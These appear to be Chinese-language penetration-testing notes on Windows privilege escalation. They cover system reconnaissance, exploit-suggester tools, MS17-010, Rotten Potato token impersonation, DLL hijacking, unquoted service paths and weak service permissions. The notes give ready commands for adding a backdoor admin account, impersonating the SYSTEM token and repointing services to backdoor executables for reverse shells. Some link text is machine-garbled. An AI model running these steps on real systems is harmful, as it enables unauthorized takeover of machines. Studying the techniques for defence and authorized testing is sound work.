1、ipconfig 查看系统网络配置
2、systeminfo 查看系统信息,包括打补丁情况,系统版本等等
3、tasklist /v 查看系统进程
4、netstat –ano 查看端口列表
......
1、根据所得服务器版本和补丁情况搜索存在的漏洞
工具地址:PEASS-ng/winPEAS/winPEASbat at master ·卡洛斯波洛普/皮阿斯-吴 (github.com)
例如:ms17-010可以通过msf搜索相应的漏洞模块进行漏洞利用
2、ms17-010漏洞利用成功后,创建管理员用户
net user biu 1234 /add 创建 biu / 1234 用户
net localgroup administrators biu /add 将biu用户加入到管理员组
powershell脚本,运行ps1文件,可以查询到漏洞(误报较多)
地址:vulmon/Vulmap: Vulmap Online Local Vulnerability Scanners Project (github.com)
根据systeminfo的信息发现漏洞
地址:bitsadmin/wesng: Windows Exploit Suggester - Next Generation (github.com)
执行ps1文件收集systeminfo信息,查询CVE与KB对应的关系
地址:chroblert/WindowsVulnScan (github.com)
1、欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2、对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
tips:使用用户反弹shell时执行exp会失败,因为用户级的账户没有这个权限;使用蚁剑等工具执行exp可以成功,因为蚁剑的shell权限为IIS服务器权限。即非服务类的用户权限无法窃取令牌成功。
1、获得webshell,反弹shell到msf
2、上传烂土豆,msf执行命令
cd c:\\ #烂土豆路径
execute -cH -f ./potato.exe
use incognito # 进入incognito
list tokens -u # 列出今牌
impersonate token 'NT AUTHORITY\SYSTEM' #令牌假冒材SYSTEM
前提:要得到服务器有第三方软件的进程信息,知道调用哪个dll文件(复杂鸡肋)
Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。
windows程序一般会按如下顺序进行搜索DLL文件:
1.应用程序加载的目录
2.C:\Windows\System32
3.C:\Windows\System
4.C:\Windows
5.当前工作目录Current Working Directory,CWD
6.在PATH环境变量的目录(先系统后用户)
1、获得webshell,收集第三方程序信息
2、找到第三方程序调用的DLL文件并且找到可替换的DLL文件
3、msf生成DLL后门文件上传到服务器,修改名字为程序调用的DLL文件,配合令牌窃取
"msf执行命令"
use incognito # 进入incognito
list tokens -u # 列出今牌
impersonate token 'NT AUTHORITY\SYSTEM' #令牌假冒材SYSTEM
当windows服务启动时,会出现2种情况。如果完整给出了可执行程序的路径并引用,则系统就会解析它并执行;但是如果服务的二进制文件未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
如:可执行文件路径为"C:\Program Files\biu.exe",则操作系统会正确执行;如果可执行文件路径为C:\Program Files\biu.exe未包含在引号中,则会执行C:\Program,而空格后将作为参数。
1、执行命令,找到未被引号包含且有空格的服务路径
wmic service get name,displayname,pathname,startmode |findstr /i 'Auto' |findstr /i /v 'C:\Windows\\' |findstr /i /v '''
2、如查询到路径 C:\Program Files\biu.exe,msf制作后门命名为Program.exe上传到C:\
3、启动该服务 sc start '服务名',反弹shell到msf
tips:webshell无法启动服务,所以该方法多用于本地提权
即使正确的引用了服务路径,由于管理配置错误,导致用户可能对服务有过多的权限。
例如,可以直接修改它导致重定向执行文件。
1、使用accesschk工具执行命令查找用户可操作的服务
accesschk.exe -uwcqv '用户组' *
2、msf制作后门biu.exe并监听,上传后门文件到C:\
3、修改查询到的服务路径(如IISADMIN服务)到后门文件路径,并启动服务,msf反弹shell
sc config '服务名' binpath='C:\biu.exe' #修改路径
sc start '服务名' #启动服务